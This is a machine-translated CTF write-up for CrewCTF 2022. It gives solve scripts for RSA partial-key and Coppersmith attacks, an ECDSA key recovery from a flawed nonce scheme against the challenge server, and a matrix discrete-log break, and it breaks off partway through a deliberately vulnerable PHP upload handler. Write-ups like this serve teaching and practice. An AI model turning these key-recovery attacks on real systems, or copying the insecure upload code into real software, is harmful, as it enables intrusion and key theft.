CrewCTF 2022 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time XxTSJxX took first place. I solved various challenges except for Forensics and recorded my solutions here.

crypto

*The D

This challenge is quite special because after I solved it, rbtree pointed out that it was plagiarized from pbctf 2020's Special gift. For details, you can see About one challenge in CrewCTF.

However, I'll still share my script for solving this challenge here. The method is somewhat similar to the Boneh-Durfee technique:

from Crypto.Util.number import *

n = 108632663721119265653629732004609859912298449722633799380285883216648160372857601675801760067880978603917847166703692881045035049896529437951217729992932290717211826160576978461392959086020394468359011218552688774321371304568720044645937228650936226679777817165681833656879074060600223318274941034682744658669
e = 14345844425098016213772256482412079289738393745812073498070209808609907033131393382491530045098843233130881036367887366122371869140643548114038280798707335512800598771342888649856115041456779942132451953091263382954458865505900604068867390149259907682124384405206933288176074626319327127085393581350114292491
the_d = 352073377710397761326601223497407217398962745361852626950893310432240855120282253164273
enc = 3809030071658869024019958989413816190555340165190309349307102024078006074888098309799897882917168240924288075419204826634001055954925033995420530107957711139551352690895168173180794129426016555460621859927958574473508871402627777469014569797460317116847974290121701679302684325635172184673761623938649140825


k_ap = (e * the_d * 2 ^ 120) // n
d_ap = the_d * 2 ^ 120
P.<x,y> = Zmod(e)[]
f = 1 + 2 * (k_ap + x) * ((n + 1) // 2 - y)
load("coppersmith.sage")
x, y = small_roots(f, (2 ^ 116, 2 ^ 513), d=3, m=4)[0]

# x = k - k_ap
# y = (p+q)//2

P.<x> = ZZ[]
f = x ^ 2 - (2 * ZZ(y)) * x + n
p = f.roots()[0][0]
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(enc, d, n)
print(long_to_bytes(m))
# crew{m1rr0r_m!rrOR_0n_+h3_w4LL_wh0_h4z_t3h_b1gg35+_D_0f_th3m_all??}

delta

from Crypto.Util.number import bytes_to_long, getRandomNBitInteger
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from flag import FLAG

key = RSA.generate(1024)
p = key.p
q = key.q
n = key.n
if p > q:
    p, q = q, p

e = key.e
cipher = PKCS1_OAEP.new(key=key,hashAlgo=SHA256)
c = bytes_to_long(cipher.encrypt(FLAG))

delta = getRandomNBitInteger(64)
x = p**2 + 1337*p + delta

val = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) % n

print('n=' + str(n))
print('e=' + str(e))
print('c=' + str(c))
print('val=' + str(val))

It can be seen that the polynomial of val has a very small root δ<264\delta<2^{64} under modp\bmod{p}, so using Coppersmith to find it and then substituting it back into gcd to find pp.

from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256

n = 141100651008173851466795684636324450409238358207191893767666902216680426313633075955718286598033724188672134934209410772467615432454991738608692590241240654619365943145665145916032591750673763981269787196318669195238077058469850912415480579793270889088523790675069338510272116812307715222344411968301691946663
e = 65537
c = 115338511096061035992329313881822354869992148130629298132719900320552359391836743522134946102137278033487970965960461840661238010620813848214266530927446505441293867364660302604331637965426760460831021145457230401267539479461666597608930411947331682395413228540621732951917884251567852835625413715394414182100
val = 55719322748654060909881801139095138877488925481861026479419112168355471570782990525463281061887475459280827193232049926790759656662867804019857629447612576114575389970078881483945542193937293462467848252776917878957280026606366201486237691429546733291217905881521367369936019292373732925986239707922361248585

P = PolynomialRing(Zmod(n), "x")
x = P.gen()
f = (
    pow(2, e, n) * (x**3) + pow(3, e, n) * (x**2) + pow(5, e, n) * x + pow(7, e, n)
) - val
delta = f.monic().small_roots(X=2 ^ 64, beta=0.48, epsilon=0.02)[0]
print(delta)

p = ZZ(gcd(f.change_ring(ZZ)(delta), n))
print(p)
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
key = RSA.construct([int(n), int(e), int(d)])
cipher = PKCS1_OAEP.new(key=key, hashAlgo=SHA256)
print(cipher.decrypt(long_to_bytes(c)))

# crew{m0dp_3qu4710n_l34d5_u5_f4c70r1n6}

signsystem

import sys
import random
from hashlib import sha256
from Crypto.Util.number import inverse
import ecdsa

from secret import FLAG

curve = ecdsa.curves.SECP112r1
p = int(curve.curve.p())
G = curve.generator
n = int(curve.order)

class SignSystem:
    def __init__(self):
        self.key = ecdsa.SigningKey.generate(curve=curve)
        self.nonce = [random.randint(1, n-1) for _ in range(112)]

    def sign(self, msg):
        e = int.from_bytes(sha256(msg).digest(), 'big') % n
        h = bin(e)[2:].zfill(112)
        k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n
        r = int((k * G).x()) % n
        s = inverse(k, n) * (e + r * self.key.privkey.secret_multiplier) % n
        return (int(r), int(s))

    def verify(self, msg, sig):
        (r, s) = sig
        e = int.from_bytes(sha256(msg).digest(), 'big')
        if s == 0:
            return False
        w = inverse(s, n)
        u1 = e*w % n
        u2 = r*w % n
        x1 = int((u1*G + u2*self.key.privkey.public_key.point).x()) % n
        return (r % n) == x1

if __name__ == '__main__':
    HDR = 'Welcome to sign system.'
    print(HDR)
    MENU = "1:sign\n2:verify\n3:getflag\n"
    S = SignSystem()
    try:
        while(True):
            print('')
            print(MENU)
            i = int(input('>> '))
            if i == 1:
                msghex = input('msg(hex): ')
                sig = S.sign(bytes.fromhex(msghex))
                print(f'signature: ({hex(sig[0])}, {hex(sig[1])})')
            elif i == 2:
                msghex = input('msg(hex): ')
                sig0hex = input('sig[0](hex): ')
                sig1hex = input('sig[1](hex): ')
                result = S.verify(bytes.fromhex(msghex), (int(sig0hex, 16), int(sig1hex, 16)))
                if result:
                    print('Verification success.')
                else:
                    print('Verification failed.')
            elif i == 3:
                target = random.randint(2**511, 2**512-1)
                print(f'target: {hex(target)}')
                sig0hex = input('sig[0](hex): ')
                sig1hex = input('sig[1](hex): ')
                result = S.verify(bytes.fromhex(hex(target)[2:]), (int(sig0hex, 16), int(sig1hex, 16)))
                if result:
                    print('OK, give you a flag.')
                    print(FLAG.decode())
                    break
                else:
                    print('NG.')
                    break
    except KeyboardInterrupt:
        print('bye')
        sys.exit(0)
    except:
        print('error occured')
        sys.exit(-1)

In this challenge, the ECDSA uses a kk for signing that is derived from a subset of bits of the hash, with the nonce being completely unknown.

The solution is to set dd and nonce as unknowns, and after collecting 113 signatures, you will get 113 equations. Since there are only 113 unknowns in total, solving the linear system will yield dd.

from pwn import *
import ast
from hashlib import sha256
import ecdsa
import os
from tqdm import tqdm

curve = ecdsa.curves.SECP112r1
p = int(curve.curve.p())
G = curve.generator
n = int(curve.order)

# io = process(["python", "server.py"])
io = remote("signsystem.crewctf-2022.crewc.tf", 1337)


def H(msg: bytes) -> int:
    return int.from_bytes(sha256(msg).digest(), "big") % n


def sign(msg: bytes):
    io.sendlineafter(b">> ", b"1")
    io.sendlineafter(b"msg(hex):", msg.hex().encode())
    io.recvuntil(b"signature: ")
    return H(msg), *ast.literal_eval(io.recvlineS())


sigs = [sign(os.urandom(8)) for _ in tqdm(range(113))]

P = PolynomialRing(Zmod(n), "x", 1 + 112)
d, *nonce = P.gens()
polys = []
for h, r, s in sigs:
    k = sum([nonce[i] * ((h >> i) & 1) for i in range(112)])
    polys.append((s * k) - (h + r * d))
M, v = Sequence(polys).coefficient_matrix()
print(vector(v))
A = M[:, :-1]
B = -M[:, -1]
sol = A.solve_right(B)
d = ZZ(sol.list()[0])
print(f"{d = }")

io.sendlineafter(b">> ", b"3")
io.recvuntil(b"target: 0x")
target = bytes.fromhex(io.recvlineS())
k = int(48763)
r = int((k * G).x()) % n
s = inverse_mod(k, n) * (H(target) + r * d) % n
io.sendlineafter(b"sig[0](hex): ", hex(r).encode())
io.sendlineafter(b"sig[1](hex): ", hex(s).encode())
io.interactive()
# crew{w3_533_7h3_p0w3r_0f_l1n34r_4l63br4}

matdlp

FLAG = open('flag.txt', 'r').read().encode()

p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
m = 6

import random
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util import Padding

K = GF(p)
matspace = MatrixSpace(K, m)

while(True):
    U = matspace.random_element()
    if U.determinant() != 0:
        break

print('U={}'.format(U.list()))

while(True):
    l1, l2, l3 = K.random_element(), K.random_element(), K.random_element()
    X = matrix(K, m, m, [l1,0,0,0,0,0]+[0,l2,1,0,0,0]+[0,0,l2,0,0,0]+[0,0,0,l3,1,0]+[0,0,0,0,l3,1]+[0,0,0,0,0,l3])
    if U*X != X*U:
        break

print('X={}'.format(X.list()))

def genkey():
    t = random.randint(1, p-1)
    s = random.randint(1, p-1)
    Us = U**s
    privkey = (t, s)
    pubkey = Us * (X**t) * Us.inverse()
    return (privkey, pubkey)

alicekey = genkey()
bobkey = genkey()

print('alice_pubkey={}'.format(alicekey[1].list()))
print('bob_pubkey={}'.format(bobkey[1].list()))

alice_Us = (U**alicekey[0][1])
bob_Us = (U**bobkey[0][1])
sharedkey_a = alice_Us * (bobkey[1]**alicekey[0][0]) * alice_Us.inverse()
sharedkey_b = bob_Us * (alicekey[1]**bobkey[0][0]) * bob_Us.inverse()

assert sharedkey_a == sharedkey_b

aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()

cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
ciphertext = cipher.encrypt(Padding.pad(FLAG, 16))
print('ciphertext=0x{}'.format(ciphertext.hex()))

This challenge involves a matrix-based Diffie-Hellman. The public parameters include a prime pp, a Jordan form matrix xx, and an invertible matrix UU, all of size 6×66 \times 6.

The private key consists of two numbers 0<t,s<p0<t,s<p, and the public key is UsXtUsU^s X^t U^{-s}. After obtaining the opponent's public key BB, calculate UsBtUsU^s B^t U^{-s} to get the shared secret.

Given A=UsXtUsA=U^s X^t U^{-s} and B=Us2Xt2Us2B=U^{s_2} X^{t_2} U^{-s_2}, the shared secret is Us+s2Xtt2U(s+s2)U^{s+s_2} X^{t t_2} U^{-(s+s_2)}.

My approach was to first obtain the Jordan form of AA, then solve the DLP for the three diagonal elements l1,l2,l3l_1, l_2, l_3, and use CRT to find the corresponding tt. Since p1p-1 is very smooth, solving the DLP is not an issue.

The remaining problem is to find A=UsXtUsA=U^s X^t U^{-s} given tt. I tried setting UsU^s as a matrix with 36 unknowns, but the solution set (kernel) had a rank of 6, indicating that UsU^s is a linear combination of 6 known matrices.

This means that there is not enough information to find a unique solution with 36 unknowns, so the information that UsU^s is a power of UU needs to be incorporated. I first transformed UU to an extension field (Fp2\mathbf{F}_{p^2}) and diagonalized it as U=PDP1U=PDP^{-1}, so Us=PDsP1U^s=P D^s P^{-1}.

Clearly, DsD^s is still a diagonal matrix, so setting it as a matrix with only 6 unknowns and substituting it back into A=UsXtUsA=U^s X^t U^{-s} yields APDsP1=PDsP1XtA P D^s P^{-1} = P D^s P^{-1} X^t. This time, the solution set (kernel) rank is only 1, indicating that any multiple of the solution satisfies the properties of DsD^s, meaning that kUsk U^s is obtained, where kk is an unknown scalar.

I don't know how to find kk, but it can be observed that kk cancels out when calculating the shared secret, so it can be directly used as UsU^s to calculate the shared secret.

p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
m = 6
K = GF(p)

U=[121724107196232336447770662565376553386975716142815255444385680256593847147303127362594142230997680664326238021655319449918322123988355830111390038828246287143134913550681374059541524579999838, 453820185074697541771109032076990418248731462070026761466713681038059403482651571417749908181364983036982465189585414975479297943661360528381140258890162036363215969848999742697434996892144894, 888904521222411682518437837602316621715283540561332742372056990585048760725085020955088786187296233120874490517497227239869864556565393376403031696414704990296976748050488245770731810961156131, 581881774786398049542143884451759033059220845104227715190060037724183423189698262173579713428600925334799120172287204029059732017918777467539551554702868497117571458663292856770301084729223325, 213399099561553968452227447825701145406606678556374356375834510855322811333965353305947324180837526052434539008542430368726969934526180340899262134424560771150219835292210510077659096032361081, 726306957674098973463669449205280632112952697976165388994578978291000322901971915598478394462547473777213968167488256107129207842112295396086336618124560346370188021589692540663118227451140883, 1011678721518897027916325157951798404294577332528705745751557767967602388752749347813272248499255443831128050483714638548577765950907924791876961624026666242141507553205161620280559190054619446, 958502794192732432000715476302401201686205485088380833667717911798006977356576442649145663197844832203745846820870677189003262489074035145704110745845363257060461795067753533459777604895526771, 202850224483611491833546926727301549856188494302469685020714728115654157301838398320445969911225752903551946807011915228467514693529635060805610255204023393803621621954936785301836655220606754, 63000402202674470987549893095919291026024000725135922571038548319630608944734902913849060426084137627585068964612983217926039074199390984708182879168515923465704222063892030792245169878219213, 181813676663842900455545303360494577200828970797295532767312318233494361815625765041389512163224957562573048502520822896299427691397598207208851236914763365100008678170296606446808877955182632, 53515837453548494633008898328313765824225860239511383688931545859755879843109634398844251440383948646654086684202702948885879333907704576591121640733270291435357323508643032759177050178990455, 70106480932202400998831076572153951759364884899608048996012038289336698559579874378171904529515810278459571707920273902846450574701179594463861651829316591442362386285003521924437486981838532, 170088330705416142972746337585478705831915389863713053372961052721581832083687860612080341613627062523289675322160425656682390611375852481338325515100183451324396587412192077475627991470426626, 756513977491511882613038145620083132033888579685348385225736772268504466623300811590446914491712855660237802682398674613618962244444990513435840543226833431113317723219994695178693097656331762, 79309604212300863933326103255412643679841631246441241070006196328008920817814318035543589782744257694010769783616430610729371220676935088568969029322080512153562308924991225726432666062506837, 800411451665787408168921195669805169317618739979288794439831214731033267744049419706279590600114021600443241290356054265242441158029625934178919619025922078283724354359744346634834521422652790, 68925524430148038499298305540358899745485001433103578815649870647727336327381059785357779100145731284536918191792144429773805665781423949865756776476078664828057890702460899933562999507117566, 423944912189867454773980956382377827510710004819321547315262213152113092794138035924283232825443217739206507233574946279468890045557501425186379484465971116424817534331795589649938554736793697, 882642395539262497133804146777651159571539132312129336500992046523880743705704453319893868634750960423490562526270041903363902250954426518700738315675416961432212294455999213649344048459916253, 323181802594209439216331775558169563133670139078841935071683414779010737497882675663332965989326479440659535217595086730568131232843922026684864378425693847267174270073636007862649084328111268, 458356109085804465405942596585709818955850868083307853697317448961172176537706300187797127840945087719636258692202422824933697934150186296045468854411806733048797056896305654553268106018202559, 223649238938156749401277927132167118809304798451412064366101967396358946794200560305024056489148556346779875840226129939246373933199713930183240649517127517281530629644577304132580006550910605, 583965530461728346789635651039529729887362732365376358644866050762739056643815594718257394164991737258447570131667164982385693894701496949745408365077077143067374451671492964274340903425215895, 520566001278896523460810243756437140413238934122707181614114009624975786560294599194852975698432954275782537087035701308871804804537429339854307077193606711935824463476864407847641181942068455, 946292049073029318579306088806120099328267016808936713558706257243459052837191491405805465123689753683449191142788686869351808940915449406558113453359511648847167202136920936112323057239994849, 349736259232784563576099161746209356629561284586851817086226960125523290677147656251159732668923022797475132247699327927531391868438109442908467828363991237429665043796976586673039506882141904, 376703737655898963433671842299921316908545431947318742754606781086568310028659564221154597057244680647246317396251058362889477803761906769212712142613046234751643518697325757010187742568976669, 1000112119924251383262406754660395500244680587607257414655371359128149397094755520380800047648173757304169955134378756353234439660977685507764514505147838549303215448074431573924749068204214005, 47443642170077728658524808077041962414489371813521012107728493269938273865645755747684722876057214089480043764555388931531278374258146496230188976333730017510702427648745767842812050214779043, 716730328742123451467343434593681648928819098014914336483166928254027413751634733072283796353092986459907208109681012201636040551763005175188873835035801011983586415516210230827019039664595609, 825629145023277979908958075151347302439201227687495351242822215169551689968057664403186945204153448736324235401010988497720253973172485809878422110800752121060572509339575328018959130318486316, 102535126036399211828881619646111690806915690449179767858859181652752224273710740536886016424349959772553914543577824953847595240092453767682143276691782635034634902150391602746595422785008268, 847829669660384127581454815979030363580925786391821448891887722907586804075418223081029167640127709671370243523791937476271586223269569973355422966706841135646427040933362228758535933468395777, 254259834377198288206175730333116144470039623658117041745258470972460597809601382745360471288105559978148663727962493802497861904710332228009229845634173633686283092826674003605716537139045279, 376861205958054807825124012151969896769285931543165306391438228569627019865115643597365811558410195042463562944269300285787723301749340886920964172257522530856056802857431495270079792700006085]
X=[971233134119380668117642228627125000141880853312269304417699370366356828749365272615070155481032497153313240777405418715764975535866976881693473914578937918561449584827101559131791816846420556, 0, 0, 0, 0, 0, 0, 176850517348883146062510965792204332402555381562206446888286625506014335791686043989507063454021896202849205821950533791917187219114458250625891903380739973033589178804432928009967501275159063, 1, 0, 0, 0, 0, 0, 176850517348883146062510965792204332402555381562206446888286625506014335791686043989507063454021896202849205821950533791917187219114458250625891903380739973033589178804432928009967501275159063, 0, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592, 1, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592, 1, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592]
U = matrix(K, m, m, U)
X = matrix(K, m, m, X)
l1 = X[0,0]
l2 = X[1,1]
l3 = X[3,3]

alice_pubkey=matrix(K,m,m,[200606741107179908813109308307903027642015584334534675621103691598046477496102523962919739840494631214139325219924232633207191553518805768081115927074081516559273961308772920649781460741985850, 613152476482993344271895723294119271689458072462742936498516661436126878254341464571961484304258329485516675532778884296259277459630059640026099155797702769615689607509261878097313238125476869, 664083131880629766237676403611179702537957408838255540094022461941946041162837732476733228652786609112430083752533742733898718050740269852914111982055226281378882104363778662471198767543674822, 911672981279979394315104825702604584402495780138915161460385721860649308041622810895132554286366031530157612026462051807991995584077627729733576583092446582813844797721213161204116012173802573, 532296855529988191510673720113075974404501369885980162173704285470019980909731877123525593863718952575924362289016065932619201127011092384312056119046429074307416204240389178918467236874480713, 1014842110872374237954469031334444239944511110307499328674896800956603272623154779618166207235380701234835778116744717100631384230959813424961406540755244595813762093671150007424908528725671958, 72503724407460475618607947834087162593211584599996312900637523685303769502507367090710125467203952887150311936077049536900135301030517512101882869105809064890404099645438063838061458881164797, 792913485627878043904340917071621857266675615512801317169514614546202704893946606397544984334447977692164481393803609264619098954002133134202265965338032231325825524907326705840679147665317063, 995860818985258557438662336868447205614120037730925187356345130650312363519071859106043391745598331835567285458193796418012491113461880880982765644530555862733132710331515575702399672592055833, 535806093627503344398254103836185496167642375084022958435228515642916864872287617173504253294104566939735040198324107646418320299149633117005357816766118527366971854511601556048447365376725099, 387204198254279138789443838388854787287733836239897004992549357817763421640725088628391111290995878575460993682239123929165478253216361375715050768036758198921692021096735800914565556151711442, 759034791011613265312249784860213294611386620473440966777942688249850970028201605614591614703862377482798773992973015364965727536345568599926784182686694311152108638075312210857385989950411810, 814906225993371197749063210340536689598571944602922747533205322211894810320123294059634166491837367205929689645485887985823427134624223590301195665483499207334885970704220127939744929410996981, 183286026963471496828768457904467143520627087747864177941440554330014158826330894951535261431342910998818716852339746917513263835288633849420491839543107685933085838804460884179113636695418391, 91135122102770188861843156771364386778428216095340402294508837326048125552487746901643776157184670829767045880998280425122922016900485728418168440954572342837216886912075563904379838849040705, 205506819274826398144907975717140748625091196209717618618394696157605445719833887622969824038240208865655464735047308518569957281501396270721128886143088612856000800703944539777753976231817791, 474754470334877353131454603477118793020586947286558065774200286173069000485566738894197496365688773025126666042856799559621291273164467430179715768133065398535249913515949196020195470892760010, 200186313538816799446196757571377626797541628323445214761818174579079591443212028718049532885287867156713130941486997346816358224663585803282703030855374534247784363551566132781195666341121262, 635401219828031646162366028397393439928704203551921481773789805483732424338897394292222899290616464395180472449361184422014544826096882453670494494667006295553688418919304223471920602156302360, 102670425834397096497619545204285505952924591394789567689172769250962069751871949239335769701391192207160944686227254131645924091380733851172372308121872042062773430856147936282104711649899299, 404351493335630572754635052272877275408260097467816483476594335833334232932916655360699738469001954853743073324077976660400316826251281885390619198007147019747509099734857832505056322515897679, 271424790231306178301568048188425725775773407647874821987469310448113853248849889519276779237812057338836551367193842426217063405140115120935725111293627978088233967113409400962846760694437098, 59929452409857052720430069969144223646194343635736099178293921499044043353449295156521696984199550990237538830958506755933539520942839395576594666901799091187324941220784219530302764121776477, 651580445753023646492042335061114112478832940852813964765760889616361976629528086378344617333005480106882807804881034712583082005353029214416790422542732086259581353271162645288445802595223547, 782069435050849892658208596603123354524719216798947089949726788529355137271169967058573190418197754912542511220892693956880099811336142919836479983089715281869025948238556155580767339884345709, 66878572824817255698821995114725522489936570688501921852680852570766753790568654464451658286452198163468486751486853228336835250167537616349533509183803501994719404582718088100308523540429163, 905102664409821975417035861525193582228284542902777064449436282326464445443983696272595305179070626061735776394097034411184432745044181538775415592210502209491754582097216911122664540679333334, 1019230724675549714957339947239658157588848299957574308859250444624206484622482817882594733993740429713313399356956883850635112612812283677632934972386998470049562391295134299366044853378507082, 940438300888830257680439152546738668870565967995507161826803630246742570277990704830103717765127301027274801706507254927269931973690130475666160323527563196939735758029253821976299112530903491, 398951613426463844938936679548263076288341006257355437922536322282822856268616355401629458376269297053988391665881615862277887334445730884413961261589404311339485126178711529151560604005413215, 117460064360390011101383842885971347243365461033773729877452021939612168836443898915824439477724501162974250540116687042366101254828286429362184165918329879048073913642554108300729698762343972, 744266171315040717186039984293338116914580346265712989686193138419111521590842986862030011454243533473084340839650845638522294437571033752414607871153151077823392233346760107174590711690631970, 234625223203069305143684842212572136949416995949391894185129722044018986055632499771691956014592317473284182738151208906323177136060410162078923710339608194485931293215040110329798033942219793, 964408920838027480980374246072025587173794955565313562651810505905473231436475093591098525269082230659744893519391379870170607171762356159031032913730520888757194705745227544719574158919397203, 848363309960509099486614666664441581060155982407074583128361038898025469904560933809482584055420205465729436093595673957961424498487458283881923300300771956224804636929333799925685328404186223, 489088085909372617576368297865501106163058229888238029624732235549291045890721096782012481511434420206850964031806258971654978251532522986224552507629496349553678294088028907695582538966378849])
bob_pubkey=matrix(K,m,m,[480444348859594121393545117827975510702193774717711869938069944371733405361830664450734257752635343183962970334096925174397309641485698386546770316779406798438674428685397649265983136601664292, 446679478184836112752702544123644746242191965483829606047329149908530332400609645555535802997860952519572337078168968756898582841608538321102429370455295700733449739567360963505911361344303011, 73839906473229992828167119669698745006987869354501197347040372212944096744563547076972167018746687676615252779838862963625853620749953708666352605691457380730547484226328084852968526641458080, 789963229614065480220299470764723555701512137658474947583714466802001159623418630380677895208152402597421160393786561830510690162840447550602620692068009163210744664569469249205827739398025627, 140907717449865719853497560794788875243118746275006116438344085203066445275778470823640279965447594069932227296507495202588361212275677637306225832182693406090352410410595626147093217645561111, 774267624911681573242550316593556993794115161529603549043458020834378210445257685499312114978389971008129781014535964644297229254208013518286547166347322981526085635590538190729546600768907586, 945886253717246814575154623773649816236351443620266089294890709461982813971364364171748261295864356062213484769308630587333121001490320154778133341212676933442633799534973823372153714461777847, 56025280923406620325648605240095942945397493613609970129736585386810236475885443627974687608178035481699771922761573851834479528398023985399595198433978641613039688876052103689444907759058570, 762135491932075469298248496268566434040833241564752581811415096228657829294029159563933391337180814756261891503469007927152474929565817717484769723601484695360851064145606660539147300024234377, 456502523650117264270218169018130879058853480415232413747352870478358348337620659215806951327729701648440117533248174064501472560013003969851528084987431320878784209048211503605689160884826913, 618844901463531994991492421473031259677074889967613568620384914779574129784308110910525426968046537642963827091777362390122305724742361179044417682929745824168380717061874390352887759136378866, 893336458248384992635761138151415449625890630637176900851354534023636267446211659339762011618878970296211384501264842269093216885153161226918762741180466653836480283597351116788492855746973166, 149023799308669764045413165576487382053969576875356506521092628522706404065399706479910576681313294954359364152259724599001417167697325971446443736430091488020449726341609923444522024463280659, 260155658330949897944628518772102200175951400758660830449334448377980566796674722849131131309677373194934132811847791443387366925460404608604372030982241061998726032009626508427487467375538747, 118107665769986871450275025092085005903461876628519163232918398394036871456407256730228734665264542517719782826234582187241449219649945020582410785448862366027771671943303552665314844171238623, 949712297021385649564622406365993991750456942208798821756378672905644952722902936748853284394534410029040753708526383078225153362260151561342818345259487508148121928866905298450622927296486049, 572064210342531413502184167321584338198559585599223811264057019852123610291821086972949905557731162823822351333411352745501115329050262179268028854462584988287973639973632893883788711282259523, 583977923753565443458375219828130572131182258739665859839510377143113436115691859383075157667733537089999976632054446765345906056362046548363689859396779228167289681330497820681596570098622300, 1012023582102578281424365435029032391526182689068799278794983069763576470133348581556429914230284998730133594461852895636165155910572637725344378125116561853699173529083365632380777740865891587, 789443489487520603449788572587167106923067865971702795507437517288927194851948210085550275845106176329614578976702384784324482910879667628170786006414429947814788245057291130058625691331514981, 730399214898592801694727631755596727287253603938410351361009089858148160674695179884728934090317753864369202483901467090687570841812090457015632799153087648980570065801919204074948603431366695, 754837460704128062038339712766238879895564974015558179315276051624184718334757738722906947294203207200083071681155204219883596720788395744599634487677843794675149902562423845694341186027236109, 511961350715627289390881813178525320782146173452529627908723389372435660317123281846720188796505787434164348004217512679311110916811853209806027285058658135585725757208703541693776946059871865, 172089604741974434978705116416329535993679177226446696805205631434329889826229297120231259487125883671550050612544805907663057822792289081255193042425809349555656614432076225241368741358867716, 1023954552108114497424604081483879928757419612413018334126698535156128888644301998610104477856452640739605193257100158681113392015498492315443892920323517580088091859782208618345940527621076255, 574501908434034227077503115757154288318756766201780920749180483566005686488249997159821569316283109128162235822276194365911053707840707029115691428811989902716247537928600491619335323110370568, 319739007538475332510322875324653324824194034650500146606187183783865327585862127342744236520547243912682313100479095374238577036992748400371996524997661403938165727313172464670850559522599518, 457923718443554179553481650617993662528390895483302792285941425570220350144037992389001005733691704424984586855458596786922115681384231264481553485892390551584667992875037052252813591202914687, 730382637909680232717102749490870962684186333757423214856460824515119801436363540398880108301970280593075050389012158231640644520245330058439713305221735811517178536314710524037342820920496134, 516296289042481961101106375885627825579482293633184384182947458665105570171208191780105239515341432355000523407313409422002960392364933210938569936156287664402500195348149240115168471641409146, 750415218434645852202735689349488296345303375562618196299132049073518151278829979117342229529531136385867497267094623478112970365406886091143281292327603144076003504608256869715799943766817824, 407064481467197791517954486920634626806312101305511650082428649575398468007545923990646229943425631313889587518999162504809992376546413613085450232154350328056497843058329071160896802437929134, 670491768443294113792978483604494213083720337280110838764513444925588560848203324898783103735733690485350965630135202639416540539563909891549753152402526679203852653129195890099249189709801187, 753278865507828353851232330340001111206712563924261612982073675238753370073907257634364835965139925615023575903821121497309123794722108931879535866667536181216026680059636668598618656004795831, 661321974800454166314540713337512232084440894864985987929921949320215380683712389292829462527171718692691883805970185195989443937470503523787158346077605484366926014104138048002296834402526485, 37242412863363082238131872960392477174383542463610423700904785753002371004680683807463465249301019522838527489830506747726148717514333170872796498357579421581267442623620458076214950688424005])

A=alice_pubkey
B=bob_pubkey
J,P=A.jordan_form(transformation=True)
assert P*J*~P==A

l1o=GF(p)(l1).multiplicative_order()
l2o=GF(p)(l2).multiplicative_order()
l3o=GF(p)(l3).multiplicative_order()
t = crt([J[0,0].log(l1),J[1,1].log(l2),J[3,3].log(l3)],[l1o,l2o,l3o])
print(f'{t = }')

f = U.charpoly()
for g,e in f.factor():
    if g.degree() == 1:
        continue
    assert e == 1
    K = GF(p^g.degree(), x, modulus=g)
# K = GF(p^2)
D,P=U.change_ring(K).diagonalization()
PR = PolynomialRing(K, 6, 'ds')
Ds = matrix.diagonal(PR.gens())
lhs = A*P*Ds*~P
rhs = P*Ds*~P*X^t
eqs = []
for i in range(6):
    for j in range(6):
        eqs.append(lhs[i,j]-rhs[i,j])
M,v=Sequence(eqs).coefficient_matrix()
Dss = matrix.diagonal(M.right_kernel().basis()[0])
Us2=(P*Dss*~P)  # some multiple of U^s
shared = Us2*B^t*~Us2

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util import Padding

ciphertext = bytes.fromhex('fb8ce381ac7d8d763c79de601ad91dbec2b9d2b63e3a4013b6164331e892490c676f7644c44ee5b4108e6494f6802171d3b79b3049aed2efdc28a6f8aba2947c')
aeskey = sha256(b''.join([int.to_bytes(int(shared[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()

cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
print(Padding.unpad(cipher.decrypt(ciphertext), 16))

# crew{dl_pr0bl3m_0n_f1n173_f13ld_15_3553n714l_70_4n07h3r_w0rld}

Additionally, I discussed with Utaha and learned another interesting method to find ss. The approach to find tt is similar, so the problem to solve is A=UsXtUsA=U^s X^t U^{-s}.

First, consider L:MUMU1L: M \rightarrow UMU^{-1} as a linear transformation, so A=Ls(Xt)A=L^s(X^t). Since these are 6×66 \times 6 matrices, they can be flattened into a 3636-dimensional vector, allowing us to find a corresponding matrix MLM_L for LL.

Thus, the problem becomes flatten(A)=MLsflatten(Xt)\operatorname{flatten}(A) = M_L^s \operatorname{flatten}(X^t), and this type of problem already has a known solution to handle it.

web

Uploadz

<?php
 function create_temp_file($temp,$name){
    $file_temp = "storage/app/temp/".$name;
    copy($temp,$file_temp);
    
    return $file_temp;
  }
  function gen_uuid($length=6) {
    $keys = array_merge(range('a', 'z'), range('A', 'Z'));
    for($i=0; $i < $length; $i++) {
        $key .= $keys[array_rand($keys)];
        
    }

    return $key;
}
  function move_upload($source,$des){
    $name = gen_uuid();
    $des = "storage/app/uploads/".$name.$des;
    copy($source,$des);
    sleep(1);// for loadblance and anti brute
    unlink($source);
    return $des;
  }
  if (isset($_FILES['uploadedFile']))
  {
    // get details of the uploaded file
    $fileTmpPath = $_FILES['uploadedFile']['tmp_name'];
